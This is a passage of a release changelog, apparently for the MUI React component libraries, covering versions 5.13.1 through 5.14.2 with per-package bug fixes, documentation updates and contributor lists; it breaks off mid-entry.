broken link (#38154) @oliviertassinari\n- [docs] Add notification for beta release of Toolpad (#38152) @prakhargupta1\n- [docs-infra] Remove sidenav icons (#38174) @oliviertassinari\n- [docs-infra] Fix search ranking when no productId (#38162) @oliviertassinari\n- [docs-infra] Adjust the side nav for deeper nested items (#38047) @cherniavskii\n- [docs][joy] Update TS file of adding more typography levels demo to match the corresponding JS file's styles (#38232) @ZeeshanTamboli\n- [docs][joy] Add TS demo for reusable component section in approaches page (#38210) @sai6855\n- [docs][joy] Add TS demo for theme typography new level customization (#38199) @sai6855\n\n### Core\n\n- [blog] Fix blog post slug Base UI (#38254) @oliviertassinari\n- [core] Use native Node's fetch instead of node-fetch package (#38263) @michaldudak\n- [core] Remove dead code @oliviertassinari\n- [core] Polish Stack test to closer CSS injection order @oliviertassinari\n- [core] Remove unnecessary `Required` utility type from Typography font style type (#38203) @ZeeshanTamboli\n- [core] Fix generate Proptypes script skipping unstable items (#38198) @mj12albert\n\nAll contributors of this release in alphabetical order: @cherniavskii, @DiegoAndai, @divyammadhok, @DSK9012, @flaviendelangle, @gitstart, @michaldudak, @mj12albert, @mnajdova, @oliviertassinari, @prakhargupta1, @richbustos, @rluzists1, @sai6855, @siriwatknp, @zanivan, @ZeeshanTamboli\n\n## 5.14.2\n\n<!-- generated comparing v5.14.1..master -->\n\n_Jul 25, 2023_\n\nA big thanks to the 23 contributors who made this release possible.\n\n### @mui/material@5.14.2\n\n- Revert \"[core] Adds `component` prop to `OverrideProps` type (#35924)\" (#38150) @michaldudak\n- [Chip][material] Fix base cursor style to be \"auto\" not \"default\" (#38076) @DiegoAndai\n- [Tabs] Refactor IntersectionObserver logic (#38133) @ZeeshanTamboli\n- [Tabs] Fix and improve visibility of tab scroll buttons using the IntersectionObserver API (#36071) @SaidMarar\n\n### @mui/joy@5.0.0-alpha.89\n\n- [Joy] Replace leftover `Joy-` prefix with `Mui-` (#38086) @siriwatknp\n- [Skeleton][joy] Fix WebkitMaskImage CSS property (#38077) @Bestwebdesign\n- [Link][Joy UI] Fix font inherit (#38124) @oliviertassinari\n\n### Docs\n\n- [docs] Add listbox placement demo for Select (#38130) @sai6855\n- [docs][base] Add Tailwind CSS & plain CSS demo on the Tabs page (#37910) @mnajdova\n- [docs][base] Add Tailwind CSS & plain CSS demos on the Textarea page (#37943) @zanivan\n- [docs] Fix Joy UI menu example (#38140) @harikrishnanp\n- [docs] Remove translations section from contributing guide (#38125) @nikohoffren\n- [docs] Fix Base UI Button Tailwind CSS padding @oliviertassinari\n- [docs] Mention in hompage hero that Core is free (#38075) @mbrookes\n- [docs] Fix a typo in notifications.json (#38078) @mbrookes\n- [docs] Add Tailwind CSS & plain CSS demo on the table pagination page (#37937) @mnajdova\n- [docs] Implement the new API display design (#37405) @alexfauquette\n- [docs] Update migration installation code blocks (#38028) @danilo-leal\n- [docs][joy] Revise the Joy UI Link page (#37829) @danilo-leal\n- [docs][joy] Add playground for Card component (#37820) @Studio384\n- [docs][joy] Add adjustments to the color inversion page (#37143) @danilo-leal\n- [docs][material] Improve documentation about adding custom colors (#37743) @DiegoAndai\n- [examples] Fix Joy UI Next.js App Router font loading (#38095) @IgnacioUtrilla\n- [examples] Fix material-next Font Usage with next/font (#38026) @onderonur\n\n### Core\n\n- [blog] Update Discord invite link in Toolpad beta announcement (#38143) @samuelsycamore\n- [blog] Update discord server link (#38131) @prakhargupta1\n- [core] Fix rsc-builder removing the first line (#38134) @michaldudak\n- [core] Remove the deprecation rule in tslint (#38087) @michaldudak\n- [test] Fail the CI when new unexpected files are created (#38039) @oliviertassinari\n- [test] Fix linting error by matching main component demo name to filename (#38122) @ZeeshanTamboli\n\nAll contributors of this release in alphabetical order: @alexfauquette, @Bestwebdesign, @bharatkashyap, @danilo-leal, @DiegoAndai, @harikrishnanp, @IgnacioUtrilla, @mbrookes, @michaldudak, @mj12albert, @mnajdova, @nikohoffren, @oliviertassinari, @onderonur, @prakhargupta1, @richbustos, @sai6855, @SaidMarar, @samuelsycamore, @siriwatknp, @Studio384, @zanivan, @ZeeshanTamboli\n\n## 5.14.1\n\n<!-- generated comparing v5.14.0..master -->\n\n_Jul 19, 2023_\n\nA big thanks to the 24 contributors who made this release possible. Here are some highlights ✨:\n\n- 💫 Introducing some new components for Joy UI:\n  - [Skeleton](https://mui.com/joy-ui/react-skeleton/) component (#37893) @siriwatknp\n  - [ToggleButton](https://mui.com/joy-ui/react-toggle-button-group/) (#37716) @siriwatknp\n- 🎉 Base UI has its own [landing page](https://www.mui.com/base-ui)!\n- 🐛 bug fixes, 📚 documentation, and ⚙️ infrastructure improvements.\n\n### `@mui/material@5.14.1`\n\n- [FormControlLabel] Fix misplaced asterisk when `labelPlacement` is provided (#37831) @ZeeshanTamboli\n- [Slider][material] Fix type dependency on @types/prop-types (#37853) @Methuselah96\n- [Menu] Add MuiMenuList to createTheme components key (#37956) @mj12albert\n- [Modal] Remove deprecated `BackdropComponent` and `BackdropProps` from tests (#38018) @sai6855\n\n### `@mui/material-next@6.0.0-alpha.93`\n\n- [Slider][material-next] Add use client directive to useSliderElementsOverlap (#37955) @mj12albert\n- [Button][material-next] Fix some event handlers being ignored (#37647) @DiegoAndai\n\n### `@mui/base@5.0.0-beta.8`\n\n- [Autocomplete] Make touch and click behavior on an option consistent (#37972) @divyammadhok\n\n### `@mui/joy@5.0.0-alpha.88`\n\n- [Joy][Select] Fix type error caused by custom variant (#37996) @OmPr366\n- [ToggleButton][Joy] Add `ToggleButton` component (#37716) @siriwatknp\n- [Skeleton] Add Joy UI `Skeleton` component (#37893) @siriwatknp\n\n### `@mui/utils@5.14.1`\n\n- [utils] Add function overload for `useEventCallback` (#37827) @cherniavskii\n\n### Docs\n\n- [docs][base] Add Tailwind CSS & plain CSS demo on the form control page (#37914) @mnajdova\n- [docs][base] Make Base UI Select demos denser (#37836) @zanivan\n- [docs] Link Material UI from the landing page (#37971) @oliviertassinari\n- [docs] Fix the empty /components page (#38010) @brijeshb42\n- [docs] Checkout template follows user's color scheme preference (#37928) @OndrejHj04\n- [docs] Disable ad for onboarding pages (#37998) @oliviertassinari\n- [docs] Fix broken link to Base UI Next.js App Router (#37973) @oliviertassinari\n- [docs] Fix typo in next-js-app-router.md (#37974) @ericbrian\n- [docs] Add pnpm commands to Material UI Installation page (#36650) @officialrajdeepsingh\n- [docs] Link charts in the roadmap (#37944) @oliviertassinari\n- [docs] Improve changelog @oliviertassinari\n- [docs] Improve the Select docs (#37279) @michaldudak\n- [docs][menu] Add Tailwind CSS & plain CSS demo on the Menu page (#37856) @mnajdova\n- [example] Update EmotionCacheProvider to work with GlobalStyles (#37962) @siriwatknp\n\n### Core\n\n- [blog] Add blog post about support for Next.js App Router (#37929) @samuelsycamore\n- [blog] Blog MUI X pro statement removed (#38015) @prakhargupta1\n- [blog] Add Toolpad beta announcement blog (#37799) @prakhargupta1\n- [core] Increase space available for sidenav @oliviertassinari\n- [core] Adds `component` prop to `OverrideProps` type (#35924) @sai6855\n- [core] Fix rsc build step in CI (#38019) @mj12albert\n- [core] Remove nx dependency (#37964) @Janpot\n- [core] Lock `@types/node` to v18 (#37965) @ZeeshanTamboli\n- [core] Update priority support issue template and prompt (#37824) @DanailH\n- [core] Remove warnings in docs:api (#37858) @alexfauquette\n- [core] Make rimraf work after a major update (#37930) @michaldudak\n- [docs-infra] Change the Diamond Sponsor block positioning on the side nav (#37933) @danilo-leal\n- [docs-infra] Support backticks in the codeblocks (#37950) @cherniavskii\n- [docs-infra] Improve performance hideToolbar: true (#37969) @oliviertassinari\n- [docs-infra] Fix button label on mobile (#37997) @oliviertassinari\n- [docs-infra] Square drawer corners (#37970) @oliviertassinari\n- [docs-infra] Improve tab contrast in codeblock (#38000) @oliviertassinari\n- [docs-infra] Fix API generation for Base UI (#37941) @oliviertassinari\n- [docs-infra] Fix layout shift on xGrid (#37954) @oliviertassinari\n- [docs-infra] Update installation commands to use the new tabs code component (#37927) @danilo-leal\n- [docs-infra] Improve disableToc={true} support (#37931) @oliviertassinari\n- [docs-infra] Remove icons and tweak the design of the side nav (#37860) @danilo-leal\n- [docs-infra] Fix TypeScrit error in demo export (#37830) @oliviertassinari\n- [notifications] Add notification for first Charts release (#37679) @joserodolfofreitas\n\nAll contributors of this release in alphabetical order: @alexfauquette, @brijeshb42, @cherniavskii, @DanailH, @danilo-leal, @DiegoAndai, @divyammadhok, @ericbrian, @Janpot, @joserodolfofreitas, @Methuselah96, @michaldudak, @mj12albert, @mnajdova, @officialrajdeepsingh, @oliviertassinari, @OmPr366, @OndrejHj04, @prakhargupta1, @sai6855, @samuelsycamore, @siriwatknp, @zanivan, @ZeeshanTamboli\n\n## 5.14.0\n\n<!-- generated comparing v5.13.7..master -->\n\n_Jul 11, 2023_\n\nA big thanks to the 15 contributors who made this release possible. Here are some highlights ✨:\n\n- 💫 Material UI, Joy UI, and Base UI are compatible with [Next.js App Router](https://nextjs.org/docs/app) (#37656) @mj12albert\n- 📚 Added new guides for integrating with Next.js 13 App Router (#37656) @mj12albert\n  - Ⓜ️ [Material UI guide](https://mui.com/material-ui/guides/next-js-app-router/)\n  - 🅙 [Joy UI guide](https://mui.com/joy-ui/integrations/next-js-app-router/)\n  - 🅱️ [Base UI guide](https://v6.mui.com/base-ui/guides/next-js-app-router/)\n- 🐛 bug fixes, 📚 documentation, and ⚙️ infrastructure improvements.\n\n### `@mui/material@5.14.0`\n\n- [Autocomplete] Enable global customization of different options (#36971) @nicolas-ot\n\n### `@mui/material-next@6.0.0-alpha.92`\n\n- [Slider][material-next] Slider restructure and style improvements (#37644) @DiegoAndai\n\n### `@mui/joy@5.0.0-alpha.87`\n\n- [ButtonGroup] Fix style for single Button (#37692) @MaybePixem\n- Fix theme typography fallback value (#37845) @siriwatknp\n\n### `@mui/icons-material@5.14.0`\n\n- [icons-material] Rebuild icons with `\"use client\"` (#37894) @mj12albert\n\n### Docs\n\n- [docs] Polish Ukraine banner (#37905) @oliviertassinari\n- [docs] Reduce Ukraine banner size (#34795) @oliviertassinari\n- [docs] Add callouts about controlled vs uncontrolled components in Core docs (#37849) @samuelsycamore\n- [docs] Add missing Portal elements to Tailwind CSS interoperability guide (#37807) @enrique-ramirez\n- [docs] Small pickers migration improvement (#37815) @alexfauquette\n- [docs] Fix pickers product name (#37825) @LukasTy\n- [docs][Joy][Link] Set `variant` and `color` defaults for the playground (#37817) @Studio384\n- [docs][Joy][Table] Add `undefined` as an option to `stripe` (#37816) @Studio384\n- [docs][base] Add Tailwind CSS & plain CSS demo on the Snackbar page (#37812) @mnajdova\n- [docs][base] Add Tailwind CSS & plain CSS demo on Badge page (#37768) @mnajdova\n- [docs][base] Fix Nested modal demo positioning (#37506) @gitstart\n- [docs][base] Add Tailwind CSS & plain CSS demo on the Switch page (#37728) @mnajdova\n- [docs-infra] Remove code tags in ToC (#37834) @cherniavskii\n- [docs-infra] Fixes in API pages generation (#37813) @mnajdova\n- [docs-infra] Add test case when using sh (#37818) @oliviertassinari\n- [docs-infra] Use icons instead of words for the code copy button (#37664) @danilo-leal\n- [docs-infra] Fix code parser (#37828) @alexfauquette\n- [docs-infra] Fix `marked` deprecation warning (#37769) @alexfauquette\n- [docs-infra] Allows to use codeblock in the docs (#37643) @alexfauquette\n- [docs-infra][joy] Change Joy UI's playground variant selector (#37821) @danilo-leal\n\n### Core\n\n- [core] Prepend \"use-client\" directive + add docs and examples for using the library with Next.js App Router (#37656) @mj12albert\n- [core] Fix imports to React (#37863) @oliviertassinari\n- [core] Disambiguate ESLint plugin name @oliviertassinari\n- [core] Sync the lint script name with the other repositories @oliviertassinari\n- [core] Point to Crowdin directly @oliviertassinari\n\nAll contributors of this release in alphabetical order: @alexfauquette, @cherniavskii, @danilo-leal, @DiegoAndai, @enrique-ramirez, @gitstart, @LukasTy, @MaybePixem, @mj12albert, @mnajdova, @nicolas-ot, @oliviertassinari, @samuelsycamore, @siriwatknp, @Studio384\n\n## 5.13.7\n\n<!-- generated comparing v5.13.6..master -->\n\n_Jul 4, 2023_\n\nA big thanks to the 21 contributors who made this release possible.\nThis release focuses primarily on 🐛 bug fixes, 📚 documentation, and ⚙️ infrastructure improvements.\n\n### `@mui/material@5.13.7`\n\n- [OutlinedInput] Fix form control properties in `ownerState` (#37668) @vonagam\n\n### `@mui/system@5.13.7`\n\n- [Stack] Fix spacing when there are `<style>` children (#34966) @cmd-johnson\n\n### `@mui/icons-material@5.13.7`\n\n- [icons] Add Microsoft logo (#37717) @zephyrus21\n\n### `@mui/joy@5.0.0-alpha.86`\n\n- [Autocomplete][joy] Fix Autocomplete and Modal components to work together (#37515) @saikathalderr\n- [Menu][Joy] Improve UX of `Menu` usage demo (#37797) @sai6855\n\n### `@mui/base@5.0.0-beta.6`\n\n- [Slider][base][material][joy] Fix not draggable on the edge when `disableSwap={true}` (#35998) @sai6855\n- [Slider][base] Provide slot state to Slider's thumb slot props callback (#37749) @mnajdova\n- [Tabs] Wrap TabsList context creation in useMemo (#37370) @michaldudak\n- [TextareaAutosize] Fix wrong height measurement (#37185) @bigteech\n\n### `@mui/lab@5.0.0-alpha.135`\n\n- [Timeline] Fix position `alternate-reverse` generated classname (#37678) @ZeeshanTamboli\n\n### Docs\n\n- [docs][base] Add demo for using the Button as a link (#37317) @AdamSundberg\n- [docs][base] Add Tailwind CSS + plain CSS demo on the Select page (#37725) @mnajdova\n- [docs][base] Make Base UI input demos denser (#37750) @zanivan\n- [docs][base] Make Base UI button demos denser (#37689) @zanivan\n- [docs][base] Add Tailwind CSS & plain CSS demos on the Input page (#37685) @mnajdova\n- [docs][base] Fix horizontal scrolling on the mobile input page (#37688) @zanivan\n- [docs] Improve Base UI index page (#37761) @oliviertassinari\n- [docs] Fix incorrect package URL in README of example material-vite (#37755) @Dlouxgit\n- [docs] Explain how to disable Base Select's portal (#37684) @michaldudak\n- [docs] Shorten overview page URLs (#37660) @oliviertassinari\n- [docs][material] Rename custom tab panel in Tabs demo to prevent confusion with @mui/lab (#37638) @MUK-Dev\n- [docs][tabs] Document how to use routing with Tabs in Base UI (#37369) @michaldudak\n- [docs] Rename product to productId (#37801) @siriwatknp\n- [docs][base] Add Tailwind CSS & plain CSS demo on the Slider page (#37736) @mnajdova\n\n### Core\n\n- [docs–infra] Prevent displaying multiple ads (#37696) @oliviertassinari\n- [blog] Fix mismatch between plan and link @oliviertassinari\n- [core] Update yarn lockfile (#37802) @michaldudak\n- [core] Add bundle size Toolpad app link to PRs (#36311) @Janpot\n- [core] Fix priority support prompt action flow (#37726) @DanailH\n- [core] Fix typo in priority support @oliviertassinari\n- [core][docs] add ESLint rule to ensure main demo component match file… (#37278) @alexfauquette\n- [docs-infra] Fix truncated TOCs scrollbar (#37770) @oliviertassinari\n- [docs-infra] Adjust demo container to be glued to the toolbar (#37744) @danilo-leal\n- [docs-infra] Fix layout shift ad (#37694) @oliviertassinari\n- [docs-infra] Improve demos toolbar (#37762) @oliviertassinari\n- [docs-infra] Make the GitHub link in the nav bar open in a new tab (#37766) @gateremark\n- [docs-infra] Allow to persist icons in ToC (#37731) @cherniavskii\n- [docs-infra] Improve product mapping (#37729) @oliviertassinari\n- [docs-infra] Add design polish to the comment and anchor buttons (#37734) @danilo-leal\n- [docs-infra] Tweak editable code blocks callout design (#37681) @danilo-leal\n- [docs-infra] Improve the edit page experience (#37695) @oliviertassinari\n- [docs-infra] Support rendering markdown outside of docs (#37691) @oliviertassinari\n- [docs-infra] Polish demo toolbar button designs (#37680) @danilo-leal\n- [docs-infra] Adjust demo component container design (#37659) @danilo-leal\n- [test] Fix test:e2e local run (#37719) @oliviertassinari\n- [test] Remove failing test in dev @oliviertassinari\n\nAll contributors of this release in alphabetical order: @AdamSundberg, @alexfauquette, @bigteech, @cherniavskii, @cmd-johnson, @DanailH, @danilo-leal, @Dlouxgit, @gateremark, @Janpot, @michaldudak, @mnajdova, @MUK-Dev, @oliviertassinari, @sai6855, @saikathalderr, @siriwatknp, @vonagam, @zanivan, @ZeeshanTamboli, @zephyrus21\n\n## 5.13.6\n\n_Jun 21, 2023_\n\nA big thanks to the 25 contributors who made this release possible. Here are some highlights ✨:\n\n- 💫 Added [Slider](https://mui.com/material-ui/react-slider/#material-you-version) component using the new Material You design language (#37520) @DiegoAndai.\n- 📚 Added [examples](https://github.com/mui/material-ui/tree/master/examples/material-ui-nextjs-ts) showcasing how you can use Material UI with next.js's app directory (#37315) @smo043\n\n### `@mui/material@5.13.6`\n\n- [Autocomplete] Fixed autocomplete's existing option selection (#37012) @bencevoros\n- [Autocomplete] Add hint demos to Material UI and Joy UI docs (#37496) @sai6855\n- [Masonry] Fix ResizeObserver loop limit exceeded error (#37208) @hbjORbj\n- [Tooltip][material] Improve warning when Tooltip receives string child (#37530) @DiegoAndai\n- [Modal] Add missing members to ModalOwnProps (#37568) @ivp-dev\n- [Slider] Arrow keys control does not work with float numbers (#37071) @gitstart\n- [SvgIcon] allow `svg` as a child (#37231) @siriwatknp\n- [Timeline] Add alternate reverse position (#37311) @abhinavkmrru\n- [Tooltip] Fix type of sx prop in `slotProps` (#37550) @SuperKXT\n- [TouchRipple] perf: avoid calling `clearTimeout()` (#37512) @romgrk\n\n### `@mui/material-next@6.0.0-alpha.90`\n\n- [Material You] Add Slider component with Material You design (#37520) @DiegoAndai\n\n### `@mui/joy@5.0.0-alpha.85`\n\n- [ButtonGroup][joy] Missing border when spacing is more than zero (#37577) @siriwatknp\n- [CardActions][joy] Add `CardActions` component (#37441) @siriwatknp\n- [Menu][joy] Fix closing of `Menu` in demos (#36917) @sai6855\n\n### `@mui/base@5.0.0-beta.5`\n\n- [Menu][base] Add the resetHighlight action (#37392) @michaldudak\n- [Select][base] Expose the `areOptionsEqual` prop (#37615) @michaldudak\n\n### `@mui/utils@5.13.2`\n\n- [utils] Allow nested imports in @mui/utils to speed up build (#37586) @flaviendelangle\n\n### Docs\n\n- [docs][base] Improve Base UI all components images (#37590) @danilo-leal\n- [docs][base] Add pages for coming soon components (#37575) @danilo-leal\n- [docs][base] Add a Snackbar introduction demo (#37602) @danilo-leal\n- [docs][base] Add page for all Base UI components (#37536) @danilo-leal\n- [docs] Fix scrollbar on snackbar page (#37657) @oliviertassinari\n- [docs] Switch order of snackbar buttons in demos (#37389) @Primajin\n- [docs] Add support for Tailwind CSS and plain CSS demos (#37319) @mnajdova\n- [docs] Tree view color fix for dark mode in Gmail example (#37051) @PunitSoniME\n- [docs] Inline the Base UI demo (#37603) @oliviertassinari\n- [docs] Fix typo in themed components page (#37598) @vinayr\n- [docs] Fix render inline code in CSS description generation (#37448) @alexfauquette\n- [docs] Add styles to styled argument list (#37558) @DiegoAndai\n- [docs] Improve awkward wording in READMEs of example projects (#37110) @DIWAKARKASHYAP\n- [docs] Fix small base -> base-ui migration issue (#37594) @oliviertassinari\n- [docs] Fix GitHub typo (#37578) @oliviertassinari\n- [docs] Improve release guide (#37547) @DiegoAndai\n- [docs] Review fixes to the Material UI's \"Example projects\" page (#37444) @danilo-leal\n- [docs][joy] Add a messages template (#37546) @sernstberger\n- [docs][joy] Add pages for coming soon Joy UI components (#36920) @danilo-leal\n- [docs][joy] Add design and consistency tweaks to the Playground (#37580) @danilo-leal\n- [docs] Add and revise Base UI + Create React App examples (#36825) @samuelsycamore\n- [docs-infra] Fix demos border radius (#37658) @oliviertassinari\n- [docs-infra] Add analyticsTags to Algolia (#37600) @Janpot\n- [docs-infra] Simplify product id handling (#37593) @oliviertassinari\n- [changelog] Add missing release date for v5.13.5 @oliviertassinari\n- [examples] Shell command fix in the readme file of material-next-ts example (#37675) @bablukpik\n- [examples] Next.js v13 App Router with Material UI (#37315) @smo043\n\n### Core\n\n- [core] Update to Node.js v18 for `test-dev` CI (#37604) @ZeeshanTamboli\n- [core] Add priority support issue template (#37671) @DanailH\n\nAll contributors of this release in alphabetical order: @abhinavkmrru, @alexfauquette, @bencevoros, @cherniavskii, @danilo-leal, @DiegoAndai, @DIWAKARKASHYAP, @flaviendelangle, @gitstart, @hbjORbj, @ivp-dev, @Janpot, @michaldudak, @mnajdova, @oliviertassinari, @Primajin, @PunitSoniME, @richbustos, @romgrk, @sai6855, @sernstberger, @siriwatknp, @SuperKXT, @vinayr, @ZeeshanTamboli\n\n## 5.13.5\n\n_Jun 12, 2023_\n\nA big thanks to the 9 contributors who made this release possible. Here are some highlights ✨:\n\n- 💫 Added `ButtonGroup` component in Joy UI (#37407) @siriwatknp.\n- 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.13.5`\n\n- [Material][Popover] Add support for virtual element as anchorEl (#37465) @DiegoAndai\n\n### `@mui/joy@5.0.0-alpha.84`\n\n- [ButtonGroup][joy] Replace `detached` prop with `spacing`. (#37562) @siriwatknp\n- [ButtonGroup][joy] Add `ButtonGroup` component (#37407) @siriwatknp\n- [Input][joy] Simplify focus with `:focus-within` and add examples (#37385) @siriwatknp\n\n### Docs\n\n- [docs] Move Toolpad from alpha to beta (#37288) @bharatkashyap\n- [docs] Add usage of createCssVarsProvider (#37513) @brijeshb42\n- [docs] Update /base url references to /base-ui (#37412) @brijeshb42\n- [docs] Skip components and hooks due to duplicate index (#37539) @siriwatknp\n- [docs] Polish Sign in to your account joy demo (#37498) @oliviertassinari\n- [docs] Remove outdated Material UI FAQ @oliviertassinari\n- [docs] Fix crash access to localStorage in Firefox (#37518) @brijeshb42\n- [docs-infra] Enforce max length on description (#37565) @oliviertassinari\n- [docs-infra] Mandatory versions (#37497) @oliviertassinari\n- [docs-infra] Fix lighthouse img size issue (#37415) @oliviertassinari\n- [docs][joy] Replace JoyInput with Input component in JoyUI Text Field documentation (#37548) @musama619\n- [docs][joy] Add typography introduction demo component (#37553) @sernstberger\n- [docs][joy] Add a rental dashboard template (#37453) @sernstberger\n\n### Core\n\n- Move the React Community Engineer - X in Open Roles (#37552) @DanailH\n- [core] Update Node.js version to v18 on CircleCI, CodeSandbox, and Netlify (#37173) @ZeeshanTamboli\n\nAll contributors of this release in alphabetical order: @brijeshb42, @cherniavskii, @DanailH, @DiegoAndai, @musama619, @oliviertassinari, @sernstberger, @siriwatknp, @ZeeshanTamboli\n\n## 5.13.4\n\n<!-- generated comparing v5.13.3..master -->\n\n_Jun 5, 2023_\n\nA big thanks to the 12 contributors who made this release possible. Here are some highlights ✨:\n\n### `@mui/material@5.13.4`\n\n- [Autocomplete][material] Add missing `focusVisible` class in AutocompleteClasses (#37502) @sai6855\n- [Menu][material] Fix MenuPaper class composition precedence (#37390) @DiegoAndai\n- [MenuList] Fix to allow conditional rendering for a menu item under ListSubheader (#36890) @danielplewes\n- [Stepper] Handle progress bar of mobile stepper when `steps` is one (#37079) @gitstart\n\n### `@mui/base@5.0.0-beta.4`\n\n- [Input][base] Fix calling slotProps event handlers (#37463) @sai6855\n\n### `@mui/joy@5.0.0-alpha.82`\n\n- [Avatar][joy] Fallback to `alt` when `src` or `srcSet` are not defined (#37469) @vishalthatipamula0219\n- [Card][joy] Improve usability of card family (#37474) @siriwatknp\n\n### Docs\n\n- [docs][base] useAutocomplete demos & docs (#37029) @mj12albert\n- [docs][base] Remove usage of `component` prop in docs (#37462) @sai6855\n- [docs] Fix docs redirections @oliviertassinari\n- [docs] Fix Fluent -> Fluent UI @oliviertassinari\n- [docs] Fix MUI Base -> Base UI @oliviertassinari\n- [docs] Add base-vite-tailwind example repo (#36994) @mj12albert\n- [docs] Fix search bar layout shift (#37460) @oliviertassinari\n- [docs] Tweak Material UI's \"Showcase\" page design (#37259) @danilo-leal\n- [docs] Tweak Material UI's \"Template\" page design (#37260) @danilo-leal\n- [docs] Fix \"Language\" page removal leftovers (#37408) @danilo-leal\n- [docs] Move contents of css-variables to sibling pages (#37411) @brijeshb42\n\n### Core\n\n- [core] Do not let Renovate handle `examples` packages updates (#37386) @ZeeshanTamboli\n\nAll contributors of this release in alphabetical order: @brijeshb42, @danielplewes, @danilo-leal, @DiegoAndai, @gitstart, @MBilalShafi, @mj12albert, @oliviertassinari, @sai6855, @siriwatknp, @vishalthatipamula0219, @ZeeshanTamboli\n\n## 5.13.3\n\n<!-- generated comparing v5.13.2..master -->\n\n_May 29, 2023_\n\nA big thanks to the 15 contributors who made this release possible.\nThis release focuses primarily on 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.13.3\n\n- [Autocomplete] Accept external Listbox ref (#37325) @sai6855\n- [Modal] Pass `className` from `BackdropProps` (#37399) @hbjORbj\n\n### `@mui/base@5.0.0-beta.3`\n\n- [base] Maintain nodes document order in compound components (#36857) @michaldudak\n- [base][joy] Prevent persisting hover state styles onclick on mobile (#36704) @gitstart\n- [Menu][base] MenuItem as a link does not work (#37242) @nicolas-ot\n- [MenuItem][Base] Pass idGenerator function (#37364) @sai6855\n- [Slider][Base] Add Vertical slider demo (#37357) @sai6855\n\n### `@mui/joy@5.0.0-alpha.82`\n\n- [Select][joy] Fix popup does not close (#37435) @siriwatknp\n- [Badge][Joy] Fix `slots` element type in API docs (#37329) @zignis\n- [Select] [joy] Handle long text content (#37289) @akash191095\n- [Tooltip][Joy] Interactive doesn't work (#37159) @nicolas-ot\n\n### `@mui/codemod@5.13.3\n\n- [mui-codemod] Add missing script to README (#37377) @hbjORbj\n\n### Docs\n\n- [docs] Clarify Hidden down props as exclusive (#36927) @canac\n- [docs] Add refine to Material UI \"Related projects\" and \"More advanced example projects\" pages (#37308) @necatiozmen\n- [docs] Remove todo link from sidebar (#37373) @brijeshb42\n- [docs] Clarify the peer dependency with react (#37360) @oliviertassinari\n- [docs] Divider vertical middle prop migration (#36840) @JhonnK08\n- [docs] Fix branding theme tabs and navigation bar regressions (#37362) @ZeeshanTamboli\n- [docs-infra] Throw on incorrect internal links (#37326) @oliviertassinari\n\n### Core\n\n- [core] Include scoped JSX namespace when resolving props (#37404) @LukasTy\n- [test][useMediaQuery] Change SSR test description (#37403) @zignis\n\nAll contributors of this release in alphabetical order: @akash191095, @brijeshb42, @canac, @DavidCnoops, @gitstart, @hbjORbj, @JhonnK08, @LukasTy, @michaldudak, @necatiozmen, @nicolas-ot, @oliviertassinari, @sai6855, @ZeeshanTamboli, @zignis\n\n## 5.13.2\n\n<!-- generated comparing v5.13.1..master -->\n\n_May 22, 2023_\n\nA big thanks to the 12 contributors who made this release possible.\n📚 This release focuses primarily on documentation improvements.\n\n### `@mui/material@5.13.2\n\n- [Slider] Tooltip positioning fixed for vertical slider (#37049) @PunitSoniME\n\n### Docs\n\n- [docs][base] Remove default annotations from useTabsList return type (#37324) @TinaSay\n- [docs][base] Remove default annotations from useTabPanel return type (#37323) @TinaSay\n- [docs][base] Remove default annotations from useSwitch return type (#37322) @TinaSay\n- [docs][base] Remove default annotations from useInput return type (#37321) @TinaSay\n- [docs][base] Remove default annotations from useAutocomplete return type (#37320) @TinaSay\n- [docs][base] Remove default annotations from useBadge's return type (#37313) @TinaSay\n- [docs][base] Remove default annotations from useButton's return type (#37312) @TinaSay\n- [docs][base] Remove default annotations from useSlider's return type (#37309) @TinaSay\n- [docs] Remove Material UI's \"Languages\" page (#37314) @danilo-leal\n- [docs] Prefer to link GitHub repository @oliviertassinari\n- [docs] Move product versions to page context (#35078) @m4theushw\n- [docs] Fix v5 migration npm install instruction (#37293) @oliviertassinari\n- [docs][Tab] Add vertical tabs demo (#37292) @sai6855\n- [docs][Transitions] Fix typo in code sample (#37300) @alexfauquette\n- [examples] Remove `@babel/plugin-proposal-class-properties` from Material-Express-SSR example (#37305) @ZeeshanTamboli\n- [Website] Add Brijesh to About page (#37318) @brijeshb42\n\n### Core\n\n- Revert \"[core] Remove outdated babel proposal plugins (#36795)\" (#37331) @michaldudak\n- [core] Move esmExternals to the shared next config (#37332) @michaldudak\n\nAll contributors of this release in alphabetical order: @alexfauquette, @brijeshb42, @cherniavskii, @danilo-leal, @m4theushw, @michaldudak, @mnajdova, @oliviertassinari, @PunitSoniME, @sai6855, @TinaSay, @ZeeshanTamboli\n\n## 5.13.1\n\n<!-- generated comparing v5.13.0..master -->\n\n_May 16, 2023_\n\nA big thanks to the 25 contributors who made this release possible. Here are some highlights ✨:\n\n- 🌏 Added Central Myanmar (my-MY), Malay (ms-MS), Nepali (ne-NP), Tagalog (tl-TL) locales (#37017) @cccEric\n- 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.13.1`\n\n- [Autocomplete] Allow tooltip text selection (#36503) @safeamiiir\n- [Dialog] Fixed broken dialog when using maxWidth=\"xs\" and custom breakpoint unit (#37237) @jguddas\n- [l10n] Add Central Myanmar (my-MY), Malay (ms-MS), Nepali (ne-NP), Tagalog (tl-TL) locales (#37017) @cccEric\n\n### `@mui/utils@5.13.1`\n\n- [utils] Fix downstream bundlers remove React 17 useId compatibility (#37183) @nickiaconis\n\n### `@mui/base@5.0.0-beta.1`\n\n- [Select][base] Keep focus on the trigger element when listbox is open (#37244) @michaldudak\n\n### `@mui/joy@5.0.0-alpha.80`\n\n- [Autocomplete] Fixed scroll into view (#37217) @sai6855\n- [AutocompleteOption][Avatar] js test replaced with ts test (#37088) @PunitSoniME\n- [Breadcrumbs] Replace js-tests with ts-tests (#37107) @mauwaz\n- [RadioGroup] Turn JS test to TS test (#37138) @uuxxx\n- [SvgIcon] Turn JS test to TS test (#37151) @nicolas-ot\n- [Tooltip] Turn JS test to TS test (#37149) @nicolas-ot\n- [Typography] Convert Typography test to TypeScript (#37165) @DerTimonius\n- [Sheet][Slider][Stack][Switch] Replace js-tests with ts-tests (#37139) @mauwaz\n- Miscellaneous fixes (#37274) @siriwatknp\n\n### Docs\n\n- [docs] Remove upload button (#36844) @Bastian\n- [docs] Update link to overriding component structure guide (#36870) @hbjORbj\n- [docs] Fix Material Design templates (#37187) @oliviertassinari\n- [docs] Fix link to 